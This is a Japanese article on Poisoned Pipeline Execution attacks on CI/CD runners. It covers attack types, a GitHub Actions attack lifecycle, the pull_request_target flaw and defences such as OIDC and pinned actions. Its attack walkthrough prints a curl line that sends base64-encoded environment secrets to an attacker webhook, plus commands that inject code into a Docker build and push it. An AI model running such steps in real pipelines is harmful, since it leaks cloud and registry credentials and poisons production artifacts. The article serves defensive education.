Pipeline Implants: Supply Chain攻撃を依存関係からCI/CDランナーへ移行

過去10年で、サイバーセキュリティ業界はソフトウェアの「構成要素」— 依存関係の保護に集中的に取り組んできました。MaliciousなNPMパッケージを検出するためのSoftware Composition Analysis (SCA)ツールの台頭や、PyPIのタイポスクワッティング、Mavenの脆弱性の発見などがその例です。しかし、業界が rogue dependencies に対して防御を強化するにつれ、攻撃者はより上流の段階へと焦点を移しています。

新たなサプライチェーン戦争のフロンティアは、単にインポートするコードだけではなく、そのコードを構築するインフラそのものです。

Pipeline ImplantsとPoisoned Pipeline Execution（PPE）の時代へようこそ。この深掘りでは、攻撃者が悪意のあるライブラリからCI/CDランナーの侵害へと移行し、秘密情報を盗み出し、バックドアを直接本番アーティファクトに注入する方法について詳しく解説します。これにより、ソースコードの主要なロジックに触れることなく攻撃が可能となります。

1. 大きな変化：依存関係からインフラへ

従来のサプライチェーン攻撃はこうでした：攻撃者がlo-dash（lodashの代わり）を公開し、開発者が誤ってインストールし、その悪意のあるパッケージがローカルマシンや本番サーバからデータを盗む。

しかし、現代のDevOpsは「Infrastructure as Code」（IaC）と自動化されたCI/CDパイプライン（GitHub Actions、GitLab CI、Jenkins、CircleCI）に依存しています。これらのパイプラインは高価値ターゲットです。なぜなら：

• 「God Mode」権限を持つ：パイプラインはしばしばAWS/Azure/GCPへのデプロイ資格情報を持つ。
• 不透明性：開発者はビルドプロセスを支配するYAMLファイルを厳密に監査しないことが多い。
• 一時的：ランナー内での攻撃はジョブ終了後に消去され、証拠が残りにくい。

Pipeline Implantsはこの進化の最終段階を表します。ライブラリを侵害する代わりに、攻撃者はライブラリをアプリケーションにコンパイルするプロセスを侵害します。

2. Poisoned Pipeline Execution（PPE）の理解

Pipeline Implantsの核心技術はPoisoned Pipeline Execution（PPE）です。PPEは、攻撃者がCI/CD設定ファイルやパイプラインで実行されるスクリプトを変更できる能力を得たときに発生します。

PPEの3つのタイプ

A. 直接PPE

直接PPEでは、攻撃者は.github/workflows/build.ymlや.gitlab-ci.ymlなどのパイプライン設定ファイル自体を変更します。PR（プルリクエスト）を提出してこれらのファイルを変更し、CI/CDランナーに任意のコマンドを実行させることができます。

B. 間接PPE

多くの場合、設定は保護されているか「ロック」されていますが、設定はnpm run buildやmake、カスタムシェルスクリプト（scripts/test.sh）などの外部スクリプトを呼び出すことがあります。攻撃者がこれらの参照ファイルをPR経由で変更できれば、YAMLファイルに触れなくてもランナー上での実行を実現できます。

C. パブリックPPE（オープンソース脅威）

これは公開リポジトリを攻撃する最も一般的なベクトルです。多くのオープンソースプロジェクトは、PRを受け取ると自動的にCIテストを実行します。リポジトリが誤設定されている場合、悪意のある攻撃者はリポジトリをフォークし、ワークフローファイルにペイロードを注入し、PRを提出します。プロジェクトのCI/CDランナーは、その悪意のあるコードを実行します。

3. 攻撃の流れ：PRから本番バックドアまで

Pipeline Implantは実際のシナリオでどのように機能するのでしょうか？GitHub Actionsを使ったワークフローへの攻撃のライフサイクルを追ってみましょう。

ステップ1：悪意のあるPull Request

攻撃者はGitHub Actionsを使用しているリポジトリを特定します。on: pull_requestのトリガーを使っていることに気づきます。リポジトリをフォークし、setup.pyやMakefileなどのビルドスクリプトを変更します。

ステップ2：シークレットの抽出

攻撃者のスクリプトはビルドをクラッシュさせるだけでなく、静かに動作します。最初の目的の一つは環境変数の盗用です。CI/CDランナーはしばしば以下を保持しています：

• AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY
• NPM_TOKEN（パッケージ公開用）
• DOCKER_HUB_PASSWORD
• 本番サーバのSSHキー

インプラントは次のようなbashの一行を含むことがあります：

curl -X POST -d "env=$(env | base64)" https://attacker-controlled-webhook.com/leak

ステップ3：”インプラント”の注入

攻撃者がランナー上で実行権を得たら、「アーティファクト」（ビルドの出力、例：.jarファイル、Dockerイメージ、バイナリ）を改ざんできます。

Dockerイメージをビルドしている場合、攻撃者はランナーを使ってイメージに小さなバイナリを注入できます：

echo "malicious_code"  ./build/app.py
docker build -t production-app .
docker push company/production-app

この操作は信頼されたCI/CD環境内で行われるため、生成されたイメージはデジタル署名され、「信頼された」として本番レジストリにプッシュされます。

4. 従来のマルウェアよりも危険な理由

Pipeline implantsは「Living off the Land」（LotL）攻撃の一種です。

• コードレビューの回避：ほとんどの開発者はPRのコード変更（ロジック）を確認しますが、プリインストールスクリプトの一行や複雑なcmakeファイル内の隠されたコマンドには気づきにくい。
• SCA/SASTの回避：静的解析セキュリティテスト（SAST）はアプリケーションの脆弱性（SQLインジェクションなど）に焦点を当てており、ビルドスクリプトのセキュリティにはあまり注目しません。
• 一時性：CI/CDランナーはジョブ終了後に破壊されるため、「殺人兵器」は消え去ります。唯一残るのは侵害された本番アーティファクトです。
• 信頼の汚染：CI/CDシステムが侵害されると、ビルドの出所（Provenance）が破壊され、Gitリポジトリの内容とKubernetesクラスター上の実行内容の一致を保証できなくなります。

5. ケーススタディ：pull_request_targetの脆弱性

GitHubはpull_request_targetを導入し、標準のpull_requestよりも多くの権限でワークフローを実行できるようにしました（高度に制限されたpull_requestに対して）。これは自動ラベル付けやPRコメントを可能にするためです。

しかし、pull_request_targetを使ったワークフローが、PRブランチからコードをチェックアウトする場合、重大な脆弱性を生み出します。ランナーはリポジトリの”Secret”権限を持ちつつ、”Untrusted”フォークから提供されたコードを実行します。

結果は？ 攻撃者はPRを提出し、スクリプトを実行してAWSインフラ全体を削除したり、メインブランチのデプロイメントトークンを盗んだりできます。この誤設定は過去3年間で何千ものハイプロファイルなオープンソースプロジェクトで見つかっています。

6. Pipeline Implantsの検出と防止方法

CI/CDランナーのセキュリティ確保には、DevSecOps成熟度の向上が必要です。コードだけでなく、そのコードが本番に到達する経路も守る必要があります。

A. 最小権限の原則（PoLP）

ランナーは永続的な資格情報を持つべきではありません。GitHub SecretsにAWS Secret Keyを保存する代わりに：

• OIDC（OpenID Connect）を利用：GitHub ActionsはOIDCを使ってAWS/GCP/Azureから短命でスコープ付きのトークンをリクエストできます。これらのトークンはジョブ完了とともに期限切れになります。
• スコープ付き権限：permissions:キーを使ってGITHUB_TOKENの権限を制限（例：contents: read、packages: write）。

B. ネットワーク分離

ほとんどのCI/CDランナーはインターネットへのアクセスが制限されていません。これにより依存関係のダウンロードや秘密情報の抽出が可能です。

• アウトバウンド制限：VPC内にセルフホストランナーを配置し、信頼できるドメイン（例：github.com、npmjs.org）へのアウトバウンド通信だけを許可。
• ネットワークログの監査：ビルド中の異常なアウトバウンド通信（例：未知のIPへのcurlリクエスト）を監視。

C. ワークフロートリガーの強化

• pull_request_targetの未承認チェックアウトは避ける。
• PRに対して外部コントリビューターの承認を必須にする。
• .github/workflowsや重要なビルドスクリプトの変更には、セキュリティチームの承認を要求する。

D. 不変性と署名付きメタデータ

• ピン留めされたアクション：uses: actions/checkout@v3の代わりにSHAハッシュを指定：uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608。これにより、攻撃者がアクション自体を改ざんできなくなる。
• Sigstore / Cosign：Sigstoreのようなツールを使ってアーティファクトに署名し、特定の未改ざんのワークフローによってビルドされたことを検証します。

7. 未来展望：CI/CDセキュリティポスチャーマネジメント（SSPM）

Pipeline Implantsの脅威が高まる中、新たなツールカテゴリが登場しています：ソフトウェアサプライチェーンセキュリティ（SSCS）とCI/CDセキュリティポスチャーマネジメントです。

これらのツールは、クラウドセキュリティポスチャーマネジメント（CSPM）がAWSに対して行ったのと同じことをパイプラインに対して行います。具体的には：

• “Shadow CI”（未承認のランナー）のスキャン
• ランナーに付随する過剰な権限のIAMロールの特定
• 実行前に”poisoned”スクリプトの検出
• SLSA（Supply-chain Levels for Software Artifacts）などのフレームワークへの準拠確認

8. 結論：新たなセキュリティ境界

セキュリティの境界は移動しました。 もはやファイアウォールやIDプロバイダーではなく、CI/CDパイプラインが境界です。

2025年以降、最も高度な攻撃は開発者のラップトップや直接的な本番サーバを狙うのではなく、「中間者」— CI/CDランナーを標的にします。単純なプルリクエストを通じて悪意のあるスクリプトを注入し、最も信頼される自動化ツールを秘密盗用やアーティファクトの汚染の武器に変えるのです。

---

DevSecOpsチームへの重要なポイント：あなたのCI/CD YAMLファイルも本番データベースの資格情報と同じくらい疑ってください。Poisoned Pipeline一つで、安全なアプリケーションをサプライチェーンの悪夢に変えることができます。